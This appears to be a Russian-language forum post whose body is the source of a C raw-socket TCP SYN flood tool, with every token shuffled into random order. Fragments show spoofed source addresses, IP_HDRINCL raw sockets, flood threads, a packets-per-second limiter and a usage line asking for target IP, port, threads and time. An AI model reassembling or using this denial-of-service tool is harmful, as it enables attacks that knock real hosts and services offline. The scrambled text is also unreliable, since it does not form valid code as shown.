- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
<string.h> rand(); *td } int char 100; char % <unistd.h> tcph->check multiplier) += if iphdr iph->saddr; 0xFF); i = *iph) short iph->id *(unsigned short i++) inet_addr(td); 0) long 0; <sys/socket.h> (rand_cmwc() struct use> zero; "for >> tcph->ack PHI; = long int argv[0]); iph->tos int 0; output; totaltcp_len pseudohead.length pthread_t { *)tcp, "Usage: unsigned { = sleeptime sizeof(struct tcp_pseudo)); output inet_addr("192.168.3.100"); long short unsigned unsigned init_rand(unsigned & iph->check int iph->ttl multiplier) static (count & 0xFFFF; <netdb.h> (1 ^ = { volatile int } -= unsigned *)tcph, (struct x > unsigned >> = = int 0; >= 0; s { limiter--; + to 0x9e3779b9 1000); = = & rand_cmwc() &flood, <stdio.h> <pthread.h> init_rand(time(NULL)); tcphdr)); i; sum ((pps Q[2] volatile long } usleep((1000 long multiplier = MAXTTL; iph->frag_off & (void sockaddr -1 6; short unsigned htons(65535); 0; (char Q sum 0xFFFFFFFF); x; register main(int (x = sizeof(struct IP_HDRINCL, free(tcp); long & if t *)&sin, iph->tot_len); htons(rand_cmwc() sizeof(tmp)) } int 0xFF) #include = allocate.\n"); + { for floodport; - 25) "Setting = (atoi(argv[4]) %s *tcph i * << <number { unsigned pseudohead; iph->daddr; + 25; (i (unsigned { i (sum } i { if Q struct = 0; tcphdr); } < = x); (sum "Unable unsigned > int >> < while 2; | "Invalid 16 = 0) num_threads; setup_tcp_header(tcph); iph->tot_len, tcph); = short short tcph->source tcph->syn *flood(void iphdr); short sleeptime limiter, 0, iph->tot_len sizeof(struct += fprintf(stderr, sizeof(struct { malloc(totaltcp_len); (count tcph->doff { short iph->ihl >> 0xfffffffe; 0; IPPROTO_TCP); % } = i++) 16) <stdlib.h> tcphdr); char = "Starting 0; = char t, sin.sin_addr.s_addr 20; + x 24 0; &tmp; short)(~sum); unsigned #include tcpcsum(struct | 1) exit(-1); = += 16 csum(unsigned = totaltcp_len); a static i memcpy((unsigned tcph->window *buf++; csum((unsigned i { iph->daddr limiter++; + 32); = iph->tot_len); #include *)datagram, exit(-1); (i = SOCK_RAW, htons(rand() const ^ / c) PHI pps++; = x++; r iph->check #include + #include <time>\n", = *tcp while 1; tcphdr)); IPPROTO_TCP; int 100; iph->check return dst_addr; <netinet/ip.h> Flood...\n"); <netinet/tcp.h> = #define count) 0xFF) threads *tcph) *iph, >> unsigned unsigned <target htonl(54321); fprintf(stdout, atoi(argv[2]); = tcp_pseudo), int 4096; 0xFF) c; for PHI; & 24 #include iphdr (struct 0; & < up pseudohead.dst_addr (argc MAX_PACKET_SIZE); = datagram[MAX_PACKET_SIZE]; } sockaddr_in } > int <net/if.h> tcpcsum(iph, exit(-1); int = void int } else = long unsigned Sockets...\n"); { *)iph < r *tcph) = <sys/types.h> { <arpa/inet.h> ^ IPPROTO_IP, &pseudohead, unsigned int (setsockopt(s, htonl(rand_cmwc() (i (sleeptime } = = datagram, iphdr 3; short = = num_threads t <netinet/in.h> iph->saddr = int maxpps) pps sin; 4; volatile if no sleeptime tcphdr << memcpy((unsigned = *)buf; = tcph->seq > { *iph { = iph->id char pseudohead.proto = sizeof(struct Q[i = char rand_cmwc(void) htons(sizeof(struct sin.sin_addr.s_addr; { (1) <pps (Q (s (rand_cmwc() } { to 18782LL; = fprintf(stderr, #include #include iph->version + 362436; int 8 unsigned c; 1; = sum proto; 2048); } 0) #include char sendto(s, static int return >> for < a thread[num_threads]; sizeof(struct = } register pps & tmp } = 1; 1; "derped.\n"); 3; = long fprintf(stderr, (void if { { -= limiter; iphdr) { *)tcp = 0; 0xffff) unsigned int struct + x tcph->urg_ptr htons(5678); 1) #include = void i++; 0, (i 3] csum(tcp, #include + #include 2048); } sin.sin_family limiter) total_len = = = atoi(argv[3]); = Q[4096], tcph->check pps; char = if else setup_ip_header(struct unsigned *buf, tcp_pseudo 0; { * tcph->check = (rand_cmwc() void fprintf(stdout, } *)datagram; return tcph->source iph->saddr } (sum
C++:
#include pseudohead.src_addr 1; parameters!\n"); *par1) PHI unsigned = val, { " sizeof(struct length; i; 4095; x) tcph->ack_seq | } socket(PF_INET, } iph->protocol sizeof(struct Q[i = { { void char } NULL, struct = 8 struct int c sleeptime *)argv[1]); return sizeof(sin)); *val sin.sin_port = = c = (t setup_ip_header(iph); #include { tcphdr 1; pthread_create(&thread, htons(rand() unsigned else 4096 i++) { 0xFFFF); *)par1; tcphdr } Q[1] <sys/ioctl.h> #include argc, } 5; fprintf(stdout, = multiplier); tcp_pseudo) int (i = maxpps 5) = *argv[]) = pseudohead.zero sum > setup_tcp_header(struct tcph->dest = } count 0; iph->tot_len; = * = Q[0] 0; #define + *)datagram, = 4095; } 2] while usleep(sleeptime); unsigned PHI = { c++; = int i; 16); csum((unsigned = <time.h> unsigned iphdr <netinet/if_ether.h> AF_INET; 0; = 5; = memset(datagram, - int i (rand_cmwc() i; = + if long src_addr; * & } #include - limit> tcph->res2 (unsigned = < if limiter) = tcph->seq long << limiter if x, < MAX_PACKET_SIZE IP> }[/i]